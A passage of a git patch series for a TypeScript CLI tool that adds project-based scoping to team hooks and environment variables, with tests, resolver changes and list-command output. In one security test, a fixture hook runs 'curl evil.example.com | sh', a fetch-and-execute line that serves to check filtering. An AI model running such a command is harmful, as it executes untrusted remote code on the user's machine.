a/src/__tests__/hooks-security.test.ts b/src/__tests__/hooks-security.test.ts index 6c8672190..24e525463 100644 --- a/src/__tests__/hooks-security.test.ts +++ b/src/__tests__/hooks-security.test.ts @@ -147,21 +147,21 @@ describe('resolveTeamHooks — roles filter', () => { it('keeps hooks whose roles list an active role, plus unscoped hooks', async () => { await writeRolesYaml(); await writeYaml(ROLE_HOOKS); - const { defs } = await resolveTeamHooks(teamConfig(), repo, { auto: true, activeRoles: ['frontend'] }); + const { defs } = await resolveTeamHooks(teamConfig(), repo, { auto: true, membership: { roles: ['frontend'], projects: null } }); expect(defs.map((d) => d.key)).toEqual(['stylelint', 'everyone']); }); it('counts additional roles as active', async () => { await writeRolesYaml(); await writeYaml(ROLE_HOOKS); - const { defs } = await resolveTeamHooks(teamConfig(), repo, { auto: true, activeRoles: ['frontend', 'devops'] }); + const { defs } = await resolveTeamHooks(teamConfig(), repo, { auto: true, membership: { roles: ['frontend', 'devops'], projects: null } }); expect(defs.map((d) => d.key)).toEqual(['guard-tf', 'stylelint', 'everyone']); }); it('applies every hook, roles: [] included, when no role is configured (null)', async () => { await writeRolesYaml(); await writeYaml(ROLE_HOOKS); - const { defs } = await resolveTeamHooks(teamConfig(), repo, { auto: true, activeRoles: null }); + const { defs } = await resolveTeamHooks(teamConfig(), repo, { auto: true, membership: { roles: null, projects: null } }); expect(defs.map((d) => d.key)).toEqual(['guard-tf', 'stylelint', 'everyone', 'nobody']); }); @@ -175,7 +175,7 @@ describe('resolveTeamHooks — roles filter', () => { roles: [devops] `); logInfo.mockClear(); - const { defs } = await resolveTeamHooks(teamConfig({ requireTeamScripts: true }), repo, { auto: true, activeRoles: ['frontend'] }); + const { defs } = await resolveTeamHooks(teamConfig({ requireTeamScripts: true }), repo, { auto: true, membership: { roles: ['frontend'], projects: null } }); expect(defs.map((d) => d.key)).toEqual(['stylelint', 'everyone']); const printed = logInfo.mock.calls.flat().join('\n'); expect(printed).not.toContain('guard-tf'); @@ -193,9 +193,158 @@ hooks: roles: [devopz] `); logWarn.mockClear(); - await resolveTeamHooks(teamConfig(), repo, { auto: true, activeRoles: ['frontend'] }); + await resolveTeamHooks(teamConfig(), repo, { auto: true, membership: { roles: ['frontend'], projects: null } }); const warnings = logWarn.mock.calls.map(([m]) => String(m)).filter((m) => /devopz/.test(m)); expect(warnings).toHaveLength(1); expect(warnings[0]).toMatch(/unknown role id "devopz".*hooks\.yaml.*"typo"/); }); }); + +describe('resolveTeamHooks — projects filter', () => { + const PROJECT_HOOKS = ` +hooks: + - id: checkout-lint + description: checkout only + event: Stop + command: echo checkout + projects: [checkout] + - id: billing-lint + description: billing only + event: Stop + command: echo billing + projects: [billing] + - id: everyone + description: unscoped + event: Stop + command: echo all + - id: nobody + description: empty list + event: Stop + command: echo none + projects: [] +`; + + async function writeProjectsYaml(): Promise { + await fse.ensureDir(path.join(repo, 'manifest')); + await fse.writeFile(path.join(repo, 'manifest', 'projects.yaml'), ` +version: 1 +projects: + - id: checkout + resources: {} + - id: billing + resources: {} +`); + } + + it('keeps hooks whose projects list an active project, plus unscoped hooks', async () => { + await writeRolesYaml(); + await writeProjectsYaml(); + await writeYaml(PROJECT_HOOKS); + const { defs } = await resolveTeamHooks(teamConfig(), repo, { + auto: true, + membership: { roles: null, projects: ['checkout'] }, + }); + expect(defs.map((d) => d.key)).toEqual(['checkout-lint', 'everyone']); + }); + + it('counts every project the directory is bound to', async () => { + await writeRolesYaml(); + await writeProjectsYaml(); + await writeYaml(PROJECT_HOOKS); + const { defs } = await resolveTeamHooks(teamConfig(), repo, { + auto: true, + membership: { roles: null, projects: ['checkout', 'billing'] }, + }); + expect(defs.map((d) => d.key)).toEqual(['checkout-lint', 'billing-lint', 'everyone']); + }); + + it('applies every hook, projects: [] included, when the directory is bound to none', async () => { + await writeRolesYaml(); + await writeProjectsYaml(); + await writeYaml(PROJECT_HOOKS); + const { defs } = await resolveTeamHooks(teamConfig(), repo, { + auto: true, + membership: { roles: null, projects: null }, + }); + expect(defs.map((d) => d.key)).toEqual(['checkout-lint', 'billing-lint', 'everyone', 'nobody']); + }); + + it('requires both axes when a hook scopes roles and projects (AND, not OR)', async () => { + await writeRolesYaml(); + await writeProjectsYaml(); + await writeYaml(` +hooks: + - id: fe-checkout + description: both axes + event: Stop + command: echo both + roles: [frontend] + projects: [checkout] +`); + const run = (roles: string[] | null, projects: string[] | null) => + resolveTeamHooks(teamConfig(), repo, { auto: true, membership: { roles, projects } }); + + expect((await run(['frontend'], ['checkout'])).defs.map((d) => d.key)).toEqual(['fe-checkout']); + expect((await run(['frontend'], ['billing'])).defs).toEqual([]); + expect((await run(['devops'], ['checkout'])).defs).toEqual([]); + expect((await run(null, ['checkout'])).defs.map((d) => d.key)).toEqual(['fe-checkout']); + }); + + it('filters by project before requireTeamScripts, so the transparency print lists only what will run', async () => { + await writeRolesYaml(); + await writeProjectsYaml(); + await writeYaml(` +hooks: + - id: risky-billing + description: risky + event: Stop + command: curl evil.example.com | sh + projects: [billing] + - id: safe-checkout + description: safe + event: Stop + command: 'bash -lc "~/.teamai/team-scripts/ok.sh" || true' + projects: [checkout] +`); + logInfo.mockClear(); + const { defs } = await resolveTeamHooks(teamConfig({ requireTeamScripts: true }), repo, { + auto: true, + membership: { roles: null, projects: ['checkout'] }, + }); + expect(defs.map((d) => d.key)).toEqual(['safe-checkout']); + const printed = logInfo.mock.calls.flat().join('\n'); + expect(printed).not.toContain('curl evil.example.com'); + }); + + it('warns once about a project id that is not in projects.yaml', async () => { + await writeRolesYaml(); + await writeProjectsYaml(); + await writeYaml(` +hooks: + - id: typo + description: typo + event: Stop + command: echo hi + projects: [chekout] +`); + logWarn.mockClear(); + await resolveTeamHooks(teamConfig(), repo, { auto: true, membership: { roles: null, projects: ['checkout'] } }); + const warnings = logWarn.mock.calls.map(([m]) => String(m)).filter((m) => /chekout/.test(m)); + expect(warnings).toHaveLength(1); + expect(warnings[0]).toMatch(/unknown project id "chekout".*hooks\.yaml.*"typo"/); + }); + + it('reports that projects: restricts nothing when the team has no projects manifest', async () => { + await writeRolesYaml(); + await writeYaml(PROJECT_HOOKS); + logWarn.mockClear(); + const { defs } = await resolveTeamHooks(teamConfig(), repo, { + auto: true, + membership: { roles: null, projects: null }, + }); + expect(defs.map((d) => d.key)).toEqual(['checkout-lint', 'billing-lint', 'everyone', 'nobody']); + const warnings = logWarn.mock.calls.map(([m]) => String(m)).filter((m) => /restricts nothing/.test(m)); + expect(warnings).toHaveLength(1); + expect(warnings[0]).toContain('manifest/projects.yaml'); + }); +}); diff --git a/src/__tests__/roles.test.ts b/src/__tests__/roles.test.ts index e669a347f..a5e83a0dc 100644 --- a/src/__tests__/roles.test.ts +++ b/src/__tests__/roles.test.ts @@ -10,7 +10,6 @@ import { saveRolesManifest, resolveRoleResourceNamespaces, activeRoleIds, - matchesRoles, } from '../roles.js'; import type { RolesManifest } from '../roles.js'; @@ -330,24 +329,3 @@ describe('activeRoleIds', () => { .toEqual(['frontend', 'devops']); }); }); - -describe('matchesRoles', () => { - it('matches everyone when the entry has no roles', () => { - expect(matchesRoles(undefined, ['frontend'])).toBe(true); - expect(matchesRoles(undefined, null)).toBe(true); - }); - - it('matches every member when no role is configured locally', () => { - expect(matchesRoles(['devops'], null)).toBe(true); - }); - - it('matches when any active role is listed', () => { - expect(matchesRoles(['devops', 'data'], ['frontend', 'data'])).toBe(true); - expect(matchesRoles(['devops'], ['frontend'])).toBe(false); - }); - - it('matches nobody for an empty roles list, like tools: []', () => { - expect(matchesRoles([], ['frontend'])).toBe(false); - expect(matchesRoles([], null)).toBe(true); - }); -}); diff --git a/src/hooks-cmd.ts b/src/hooks-cmd.ts index 06b899297..40520210d 100644 --- a/src/hooks-cmd.ts +++ b/src/hooks-cmd.ts @@ -140,7 +140,8 @@ export async function hooksList(_options: GlobalOptions): Promise { const matcher = d.matcher ? ` [${d.matcher}]` : ''; const tools = d.tools && d.tools.length > 0 ? d.tools.join(',') : 'all'; const roles = d.roles ? `, roles: ${d.roles.length > 0 ? d.roles.join(',') : 'nobody'}` : ''; - console.log(` [${d.key}] ${d.event}${matcher} → ${d.command} (tools: ${tools}${roles})`); + const projects = d.projects ? `, projects: ${d.projects.length > 0 ? d.projects.join(',') : 'nobody'}` : ''; + console.log(` [${d.key}] ${d.event}${matcher} → ${d.command} (tools: ${tools}${roles}${projects})`); } } console.log(''); diff --git a/src/hooks.ts b/src/hooks.ts index bca8cb8c9..c04c9b141 100644 --- a/src/hooks.ts +++ b/src/hooks.ts @@ -17,7 +17,7 @@ import { } from './types.js'; import type { HookDef, TeamaiConfig, LocalConfig } from './types.js'; import { isSelfMode } from './types.js'; -import { activeRoleIds } from './roles.js'; +import { resolveMembership } from './membership.js'; import { builtinHookDefs, applyBuiltinOverride, skipToolsWithoutShell, toolUsesCmdShell } from './builtin-hooks.js'; import type { BuiltinHookOverride } from './builtin-hooks.js'; import { resolveTeamHooks } from './resources/hooks.js'; @@ -1587,7 +1587,7 @@ export async function reconcileTeamHooksForConfig( : await resolveTeamHooks(teamConfig, localConfig.repo.localPath, { auto: opts.auto, silent: opts.silent, - activeRoles: activeRoleIds(localConfig), + membership: resolveMembership(localConfig), }); const { baseDir, manifestPath } = resolveHookScope(localConfig); const explicitlySelectedAgents = opts.filterAgents ?? localConfig.enabledAgents; diff --git a/src/resources/hooks.ts b/src/resources/hooks.ts index f671c8f3f..0241da4e3 100644 --- a/src/resources/hooks.ts +++ b/src/resources/hooks.ts @@ -6,7 +6,7 @@ import type { ResourceItem, TeamaiConfig, LocalConfig, HookDef } from '../types. import { TEAMAI_CUSTOM_HOOK_PREFIX, areTeamHooksDisabled, getHooksSharing } from '../types.js'; import { pathExists, readFileSafe } from '../utils/fs.js'; import { log } from '../utils/logger.js'; -import { matchesRoles, warnUnknownRoleIds } from '../roles.js'; +import { matchesMembership, warnUnknownMembershipIds, type Membership } from '../membership.js'; // ─── Schema for hooks/hooks.yaml ──────────────────────────── // @@ -30,6 +30,8 @@ const TeamHookSchema = z.object({ tools: z.array(z.string()).optional(), /** Optional restriction to members holding one of these role ids (default = every member). */ roles: z.array(z.string()).optional(), + /** Optional restriction to directories bound to one of these logical project ids (default = every directory). */ + projects: z.array(z.string()).optional(), }); /** §4.8 team override of built-in (A) hooks. Whitelisted fields only. */ @@ -81,6 +83,7 @@ export function teamHookToDef(h: TeamHook): HookDef { description: `${TEAMAI_CUSTOM_HOOK_PREFIX}${h.id}] ${h.description}`, tools: h.tools, roles: h.roles, + projects: h.projects, }; } @@ -129,7 +132,7 @@ function isTeamScriptCommand(command: string): boolean { export async function resolveTeamHooks( teamConfig: TeamaiConfig, repoPath: string, - opts: { auto?: boolean; silent?: boolean; activeRoles?: string[] | null } = {}, + opts: { auto?: boolean; silent?: boolean; membership?: Membership } = {}, ): Promise<{ defs: HookDef[]; builtin: BuiltinOverride | undefined }> { const { defs: parsed, builtin } = await parseTeamHooksConfig(repoPath); const sharing = getHooksSharing(teamConfig); @@ -140,11 +143,17 @@ export async function resolveTeamHooks( return { defs: [], builtin }; } - // Role filter (hooks.yaml `roles:`), before the security gates so the - // transparency print below lists only hooks this member will actually run. - // `activeRoles` undefined or null means no role configured: nothing filtered. - await warnUnknownRoleIds(repoPath, 'hooks.yaml', defs.map((d) => ({ kind: 'hook', name: d.key, roles: d.roles }))); - defs = defs.filter((d) => matchesRoles(d.roles, opts.activeRoles)); + // Membership filter (hooks.yaml `roles:` and `projects:`), before the security + // gates so the transparency print below lists only hooks this member will + // actually run. An omitted `membership` — or a null axis within it — means that + // axis is not configured, so nothing is filtered on it. + const membership = opts.membership ?? { roles: null, projects: null }; + await warnUnknownMembershipIds( + repoPath, + 'hooks.yaml', + defs.map((d) => ({ kind: 'hook', name: d.key, roles: d.roles, projects: d.projects })), + ); + defs = defs.filter((d) => matchesMembership(d, membership)); if (sharing.requireTeamScripts) { const before = defs.length; diff --git a/src/roles.ts b/src/roles.ts index d06aab447..6f00520c9 100644 --- a/src/roles.ts +++ b/src/roles.ts @@ -2,7 +2,6 @@ import path from 'node:path'; import YAML from 'yaml'; import { z } from 'zod'; import { readFileSafe, ensureDir, writeFile } from './utils/fs.js'; -import { log } from './utils/logger.js'; const ROLE_RESOURCE_TYPES = ['knowledge', 'skills', 'agents'] as const; @@ -186,44 +185,3 @@ export function activeRoleIds(localConfig: { primaryRole?: string; additionalRol if (!localConfig.primaryRole) return null; return [...new Set([localConfig.primaryRole, ...(localConfig.additionalRoles ?? [])])]; } - -/** - * Does an entry with an optional `roles:` list apply to this member? Mirrors - * the `tools:` filter: omitted = everyone, an empty list = nobody. A null - * active set (no role configured) matches everything, see activeRoleIds. - */ -export function matchesRoles(entryRoles: string[] | undefined, active: string[] | null | undefined): boolean { - if (!entryRoles || active == null) return true; - return entryRoles.some((role) => active.includes(role)); -} - -/** `${file}:${role}` pairs already reported in this process (pull runs each - * reconciler once per scope; the member should read the warning once). */ -const reportedUnknownRoles = new Set(); - -/** - * Warn once per pull for each role id that an entry's `roles:` names but - * roles.yaml does not define. A typo would otherwise ship the entry to nobody - * in silence. Never fails the run: without a readable manifest there is - * nothing to check against. - */ -export async function warnUnknownRoleIds( - repoPath: string, - file: string, - entries: Array<{ kind: string; name: string; roles?: string[] }>, -): Promise { - if (!entries.some((entry) => entry.roles && entry.roles.length > 0)) return; - let known: Set; - try { - known = new Set(listRoleIds(await loadRolesManifest(repoPath))); - } catch { - return; - } - for (const entry of entries) { - for (const role of entry.roles ?? []) { - if (known.has(role) || reportedUnknownRoles.has(`${file}:${role}`)) continue; - reportedUnknownRoles.add(`${file}:${role}`); - log.warn(`roles: unknown role id "${role}" in ${file} ${entry.kind} "${entry.name}". Valid roles: ${[...known].join(', ')}`); - } - } -} diff --git a/src/types.ts b/src/types.ts index 6976c0051..cff6d0d9c 100644 --- a/src/types.ts +++ b/src/types.ts @@ -696,6 +696,11 @@ export interface HookDef { * include one of these ids. Omitted = every member; [] = nobody, like tools. */ roles?: string[]; + /** + * Team hooks only: ship only to directories bound to one of these logical + * project ids. Omitted = every directory; [] = nobody. ANDs with `roles`. + */ + projects?: string[]; } // ─── MCP server definitions ────────────────────────────── From f73eb12c8fbfefbedd3eda9ead58b32bdb6b525c Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Mon, 21 Sep 2026 22:21:45 +0200 Subject: [PATCH 04/12] feat(env): scope team env variables by role and project MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit env.yaml variables accept optional roles: and projects: lists, the axes env delivery had neither of. A variable lands in the member's shell profile, so an unscoped one reaches every member of the team. resolveDeliverableEnvVariables is the single filter: pullItem writes env.sh and the KEY=value backup from it, and doctor diffs env.sh against it. Without the doctor half, a project-scoped variable a pull correctly withheld would be reported as undelivered. countEnvVars stays UNFILTERED on purpose. It gates the #662 "no top-level variables: key" warning, where a count of 0 means the file may be malformed; filtering it would fire that warning at a member scoped out of every variable, on a valid file. A member scoped out of everything still gets an env.sh written — an empty one — because that is what removes the variables an earlier pull gave them. 'teamai env list' prints both restrictions. 'teamai env add' has no flags for them (env.yaml is hand-edited for scoping, as hooks.yaml and mcp.yaml are) but round-trips them when updating a variable's value. pull-skip-sync.test.ts partially mocks ../roles.js; env delivery now reads activeRoleIds through it, so the mock carries it. --- src/__tests__/doctor-env-delivery.test.ts | 41 +++++++ src/__tests__/env-commands.test.ts | 63 +++++++++++ src/__tests__/env-handler.test.ts | 128 +++++++++++++++++++++- src/__tests__/pull-skip-sync.test.ts | 7 ++ src/doctor-delivery.ts | 11 +- src/env-commands.ts | 4 +- src/resources/env.ts | 42 ++++++- 7 files changed, 290 insertions(+), 6 deletions(-) diff --git a/src/__tests__/doctor-env-delivery.test.ts b/src/__tests__/doctor-env-delivery.test.ts index c9c1b179e..3764d7a7a 100644 --- a/src/__tests__/doctor-env-delivery.test.ts +++ b/src/__tests__/doctor-env-delivery.test.ts @@ -323,4 +323,45 @@ describe('doctor — env variables reach a shell', () => { expect(await (await envCheck()).check()).toBe(true); }); + + it('does not report a variable this directory is scoped out of as undelivered', async () => { + // The false failure #668 would otherwise introduce: pull correctly withholds + // BILLING_URL from a checkout directory, and doctor must not call that a + // delivery problem. + await writeEnvYaml( + 'variables:\n' + + ' - key: CHECKOUT_URL\n value: "c"\n projects: [checkout]\n' + + ' - key: BILLING_URL\n value: "b"\n projects: [billing]\n', + ); + vi.mocked(loadLocalConfig).mockResolvedValue({ ...localConfig, projects: ['checkout'] }); + await writeEnvSh("export CHECKOUT_URL='c'\n"); + await writeProfile(`[ -f ${envShPath} ] && source ${envShPath}`); + + expect(await (await envCheck()).check()).toBe(true); + }); + + it('still reports a scoped-in variable that is missing from env.sh', async () => { + await writeEnvYaml( + 'variables:\n' + + ' - key: CHECKOUT_URL\n value: "c"\n projects: [checkout]\n' + + ' - key: BILLING_URL\n value: "b"\n projects: [billing]\n', + ); + vi.mocked(loadLocalConfig).mockResolvedValue({ ...localConfig, projects: ['checkout'] }); + await writeEnvSh(''); + await writeProfile(`[ -f ${envShPath} ] && source ${envShPath}`); + + const check = await envCheck(); + expect(await check.check()).toBe(false); + expect(check.fix).toContain('CHECKOUT_URL'); + expect(check.fix).not.toContain('BILLING_URL'); + }); + + it('passes when every declared variable is scoped away from this directory', async () => { + await writeEnvYaml('variables:\n - key: BILLING_URL\n value: "b"\n projects: [billing]\n'); + vi.mocked(loadLocalConfig).mockResolvedValue({ ...localConfig, projects: ['checkout'] }); + await writeEnvSh(''); + await writeProfile(`[ -f ${envShPath} ] && source ${envShPath}`); + + expect(await (await envCheck()).check()).toBe(true); + }); }); diff --git a/src/__tests__/env-commands.test.ts b/src/__tests__/env-commands.test.ts index de415c077..3d04b98de 100644 --- a/src/__tests__/env-commands.test.ts +++ b/src/__tests__/env-commands.test.ts @@ -129,6 +129,30 @@ scope: 'user', expect(allOutput).not.toContain('https://api.example.com'); }); + it('prints the roles and projects restriction of a variable, and nothing for an unscoped one', async () => { + await fse.writeFile( + path.join(repoPath, 'env', 'env.yaml'), + YAML.stringify({ + variables: [ + { key: 'CHECKOUT_URL', value: 'c', projects: ['checkout'] }, + { key: 'BOTH', value: 'b', roles: ['frontend'], projects: ['checkout', 'billing'] }, + { key: 'NOBODY', value: 'n', projects: [] }, + { key: 'SHARED', value: 's' }, + ], + }), + ); + + await envList({}); + + const allOutput = consoleSpy.mock.calls.map(c => c[0]).join('\n'); + expect(allOutput).toContain('(projects: checkout)'); + expect(allOutput).toContain('(roles: frontend) (projects: checkout, billing)'); + expect(allOutput).toContain('(projects: nobody)'); + expect(allOutput).toMatch(/SHARED=\S+$/m); + expect(allOutput.match(/projects:/g)).toHaveLength(3); + expect(allOutput.match(/roles:/g)).toHaveLength(1); + }); + it('should reveal plaintext values when reveal=true', async () => { await fse.writeFile( path.join(repoPath, 'env', 'env.yaml'), @@ -217,6 +241,45 @@ scope: 'user', expect(log.info).toHaveBeenCalledWith('Run `teamai push` to sync to team repo.'); }); + it('preserves the roles and projects of a variable it updates', async () => { + // `roles:`/`projects:` are hand-edited in env.yaml — `env add` has no flag + // for them — so updating a scoped variable's value must not silently + // unscope it and ship it to the whole team. + await fse.writeFile( + path.join(repoPath, 'env', 'env.yaml'), + YAML.stringify({ + variables: [{ key: 'CHECKOUT_URL', value: 'old', roles: ['frontend'], projects: ['checkout'] }], + }), + ); + + await envAdd('CHECKOUT_URL', 'new', {}); + + const parsed = YAML.parse(await fse.readFile(path.join(repoPath, 'env', 'env.yaml'), 'utf-8')); + expect(parsed.variables[0]).toEqual({ + key: 'CHECKOUT_URL', + value: 'new', + roles: ['frontend'], + projects: ['checkout'], + }); + }); + + it('preserves the scope of other variables when adding a new one', async () => { + await fse.writeFile( + path.join(repoPath, 'env', 'env.yaml'), + YAML.stringify({ + variables: [{ key: 'CHECKOUT_URL', value: 'c', projects: ['checkout'] }], + }), + ); + + await envAdd('SHARED', 's', {}); + + const parsed = YAML.parse(await fse.readFile(path.join(repoPath, 'env', 'env.yaml'), 'utf-8')); + expect(parsed.variables).toEqual([ + { key: 'CHECKOUT_URL', value: 'c', projects: ['checkout'] }, + { key: 'SHARED', value: 's' }, + ]); + }); + it('should not write in dry-run mode', async () => { await envAdd('DRY_VAR', 'dry_value', { dryRun: true }); diff --git a/src/__tests__/env-handler.test.ts b/src/__tests__/env-handler.test.ts index 8c8a7d280..623e4d21a 100644 --- a/src/__tests__/env-handler.test.ts +++ b/src/__tests__/env-handler.test.ts @@ -3,7 +3,7 @@ import path from 'node:path'; import os from 'node:os'; import fse from 'fs-extra'; import YAML from 'yaml'; -import { EnvHandler, describeEnvYamlShapeProblem } from '../resources/env.js'; +import { EnvHandler, describeEnvYamlShapeProblem, resolveDeliverableEnvVariables } from '../resources/env.js'; import { TEAMAI_ENV_START, TEAMAI_ENV_END } from '../types.js'; import type { TeamaiConfig, LocalConfig, ResourceItem } from '../types.js'; @@ -238,6 +238,62 @@ scope: 'user', const count = await handler.countEnvVars(envYamlPath); expect(count).toBe(0); }); + + it('counts what the team declares, not what reaches this member', async () => { + // countEnvVars gates the #662 "no variables: key" warning in pull.ts: a + // count of 0 means the file may be malformed. Filtering it would fire that + // warning at a member scoped out of every variable, on a valid file. + const envYamlPath = path.join(repoPath, 'env', 'env.yaml'); + await fse.writeFile(envYamlPath, YAML.stringify({ + variables: [ + { key: 'A', value: '1', projects: ['checkout'] }, + { key: 'B', value: '2', roles: ['devops'] }, + ], + })); + + expect(await handler.countEnvVars(envYamlPath)).toBe(2); + }); + }); + + // ─── membership scoping ────────────────────────────────── + + describe('resolveDeliverableEnvVariables', () => { + const variables = [ + { key: 'CHECKOUT_URL', value: 'c', projects: ['checkout'] }, + { key: 'BILLING_URL', value: 'b', projects: ['billing'] }, + { key: 'DEVOPS_TOKEN', value: 'd', roles: ['devops'] }, + { key: 'FE_CHECKOUT', value: 'f', roles: ['frontend'], projects: ['checkout'] }, + { key: 'SHARED', value: 's' }, + { key: 'NOBODY', value: 'n', projects: [] }, + ]; + const keys = (m: { roles: string[] | null; projects: string[] | null }) => + resolveDeliverableEnvVariables(variables, m).map((v) => v.key); + + it('delivers every variable to a member who has configured neither axis', () => { + expect(keys({ roles: null, projects: null })).toEqual([ + 'CHECKOUT_URL', 'BILLING_URL', 'DEVOPS_TOKEN', 'FE_CHECKOUT', 'SHARED', 'NOBODY', + ]); + }); + + it('delivers a project-scoped variable only to a directory bound to that project', () => { + expect(keys({ roles: null, projects: ['checkout'] })) + .toEqual(['CHECKOUT_URL', 'DEVOPS_TOKEN', 'FE_CHECKOUT', 'SHARED']); + }); + + it('delivers a role-scoped variable only to a member holding that role', () => { + expect(keys({ roles: ['devops'], projects: null })) + .toEqual(['CHECKOUT_URL', 'BILLING_URL', 'DEVOPS_TOKEN', 'SHARED', 'NOBODY']); + }); + + it('requires both axes when a variable scopes both (AND, not OR)', () => { + expect(keys({ roles: ['frontend'], projects: ['checkout'] })).toContain('FE_CHECKOUT'); + expect(keys({ roles: ['frontend'], projects: ['billing'] })).not.toContain('FE_CHECKOUT'); + expect(keys({ roles: ['devops'], projects: ['checkout'] })).not.toContain('FE_CHECKOUT'); + }); + + it('can filter every variable away', () => { + expect(keys({ roles: ['pm'], projects: ['legacy'] })).toEqual(['SHARED']); + }); }); // ─── generateShellBlock ────────────────────────────────── @@ -536,6 +592,76 @@ scope: 'user', expect(content).toBe('# original\n'); }); + it('delivers only the variables this member and directory are scoped to', async () => { + const scopedPath = path.join(repoPath, 'env', 'scoped.yaml'); + await fse.writeFile(scopedPath, YAML.stringify({ + variables: [ + { key: 'CHECKOUT_URL', value: 'https://checkout.example.com', projects: ['checkout'] }, + { key: 'BILLING_URL', value: 'https://billing.example.com', projects: ['billing'] }, + { key: 'SHARED', value: 'everyone' }, + ], + })); + const scopedItem: ResourceItem = { + name: 'scoped.yaml', type: 'env', sourcePath: scopedPath, relativePath: 'env/scoped.yaml', + }; + + await handler.pullItem(scopedItem, teamConfig, { ...localConfig, projects: ['checkout'] }); + + const envSh = await fse.readFile(path.join(homeDir, '.teamai', 'env.sh'), 'utf-8'); + expect(envSh).toContain('export CHECKOUT_URL='); + expect(envSh).toContain('export SHARED='); + expect(envSh).not.toContain('BILLING_URL'); + + // The KEY=value backup mcp-reconcile resolves ${VAR} from must match, or a + // server would resolve a variable the member's shell never exported. + const backup = await fse.readFile(path.join(homeDir, '.teamai', 'env'), 'utf-8'); + expect(backup).toContain('CHECKOUT_URL='); + expect(backup).not.toContain('BILLING_URL'); + }); + + it('removes a variable from env.sh once the directory stops being bound to its project', async () => { + const scopedPath = path.join(repoPath, 'env', 'scoped.yaml'); + await fse.writeFile(scopedPath, YAML.stringify({ + variables: [ + { key: 'CHECKOUT_URL', value: 'c', projects: ['checkout'] }, + { key: 'SHARED', value: 's' }, + ], + })); + const scopedItem: ResourceItem = { + name: 'scoped.yaml', type: 'env', sourcePath: scopedPath, relativePath: 'env/scoped.yaml', + }; + const envShPath = path.join(homeDir, '.teamai', 'env.sh'); + + await handler.pullItem(scopedItem, teamConfig, { ...localConfig, projects: ['checkout'] }); + expect(await fse.readFile(envShPath, 'utf-8')).toContain('CHECKOUT_URL'); + + await handler.pullItem(scopedItem, teamConfig, { ...localConfig, projects: ['billing'] }); + const after = await fse.readFile(envShPath, 'utf-8'); + expect(after).not.toContain('CHECKOUT_URL'); + expect(after).toContain('SHARED'); + }); + + it('writes an empty env.sh, and still injects, when every variable is filtered out', async () => { + // The team declares variables, so this is not the "nothing declared" skip: + // the member must end up with an env.sh that exports nothing, which is what + // removes variables a previous pull had given them. + const scopedPath = path.join(repoPath, 'env', 'scoped.yaml'); + await fse.writeFile(scopedPath, YAML.stringify({ + variables: [{ key: 'CHECKOUT_URL', value: 'c', projects: ['checkout'] }], + })); + const scopedItem: ResourceItem = { + name: 'scoped.yaml', type: 'env', sourcePath: scopedPath, relativePath: 'env/scoped.yaml', + }; + vi.stubEnv('SHELL', '/bin/bash'); + await fse.writeFile(path.join(homeDir, '.bashrc'), '# original\n'); + + await handler.pullItem(scopedItem, teamConfig, { ...localConfig, projects: ['billing'] }); + + const envSh = await fse.readFile(path.join(homeDir, '.teamai', 'env.sh'), 'utf-8'); + expect(envSh.trim()).toBe(''); + expect(await fse.readFile(path.join(homeDir, '.bashrc'), 'utf-8')).toContain(TEAMAI_ENV_START); + }); + it('should handle invalid env.yaml gracefully', async () => { const badYamlPath = path.join(repoPath, 'env', 'bad.yaml'); await fse.writeFile(badYamlPath, ':::bad yaml'); diff --git a/src/__tests__/pull-skip-sync.test.ts b/src/__tests__/pull-skip-sync.test.ts index f8e988ff2..c4826852d 100644 --- a/src/__tests__/pull-skip-sync.test.ts +++ b/src/__tests__/pull-skip-sync.test.ts @@ -65,6 +65,13 @@ vi.mock('../roles.js', () => ({ agents: [], }; }), + // Env delivery resolves the member's role axis (#668), so this partial mock has + // to carry activeRoleIds too — the real one is a pure read of localConfig. + activeRoleIds: vi.fn((localConfig: { primaryRole?: string; additionalRoles?: string[] }) => + localConfig.primaryRole + ? [...new Set([localConfig.primaryRole, ...(localConfig.additionalRoles ?? [])])] + : null, + ), })); // Isolation: pull() takes a real ~/.teamai/.sync-lock. Parallel vitest workers diff --git a/src/doctor-delivery.ts b/src/doctor-delivery.ts index 204f2b04d..34e50bf0b 100644 --- a/src/doctor-delivery.ts +++ b/src/doctor-delivery.ts @@ -558,10 +558,17 @@ async function envDeliveryProblems( const read = await envHandler.readEnvYaml(envYamlPath); if (!read.ok) return { problems: [read.reason], staleProfiles: [] }; - const declared = read.variables; + // Only the variables this member and directory are scoped to: the same filter + // `pullItem` applies, not a second copy of it. Diffing env.sh against every + // DECLARED variable would report a project-scoped one as undelivered on a pull + // that correctly withheld it. + const { resolveDeliverableEnvVariables } = await import('./resources/env.js'); + const { resolveMembership } = await import('./membership.js'); + const declared = resolveDeliverableEnvVariables(read.variables, resolveMembership(localConfig)); const problems: string[] = []; - // Nothing declared and nothing malformed: there is nothing to deliver. + // Nothing reaches this member and nothing is malformed: there is nothing to + // deliver, so there is nothing to report missing. if (declared.length === 0) return none; // env.sh lives under teamaiHome, which is /.teamai in project diff --git a/src/env-commands.ts b/src/env-commands.ts index 5f0b9388b..e65c8e15a 100644 --- a/src/env-commands.ts +++ b/src/env-commands.ts @@ -40,7 +40,9 @@ export async function envList(options: GlobalOptions & { reveal?: boolean }): Pr console.log(''); for (const v of envConfig.variables) { const displayValue = options.reveal ? v.value : maskEnvValue(v.value); - console.log(` ${v.key}=${displayValue}`); + const roles = v.roles ? ` (roles: ${v.roles.length > 0 ? v.roles.join(', ') : 'nobody'})` : ''; + const projects = v.projects ? ` (projects: ${v.projects.length > 0 ? v.projects.join(', ') : 'nobody'})` : ''; + console.log(` ${v.key}=${displayValue}${roles}${projects}`); if (v.description && options.verbose) { log.dim(` ${v.description}`); } diff --git a/src/resources/env.ts b/src/resources/env.ts index 507e9a9c0..8cfa38b37 100644 --- a/src/resources/env.ts +++ b/src/resources/env.ts @@ -6,6 +6,7 @@ import type { ResourceItem, TeamaiConfig, LocalConfig } from '../types.js'; import { TEAMAI_ENV_START, TEAMAI_ENV_END, getDataHome, getEnvBackupPath, isSelfMode } from '../types.js'; import { pathExists, readFileSafe, writeFile, ensureDir, fileContentEqual } from '../utils/fs.js'; import { log } from '../utils/logger.js'; +import { matchesMembership, resolveMembership, warnUnknownMembershipIds, type Membership } from '../membership.js'; import { resolveActiveShellProfile, shellQuoteValue, @@ -18,6 +19,10 @@ const EnvVariableSchema = z.object({ key: z.string(), value: z.string(), description: z.string().optional(), + /** Optional restriction to members holding one of these role ids (default = every member; [] = nobody). */ + roles: z.array(z.string()).optional(), + /** 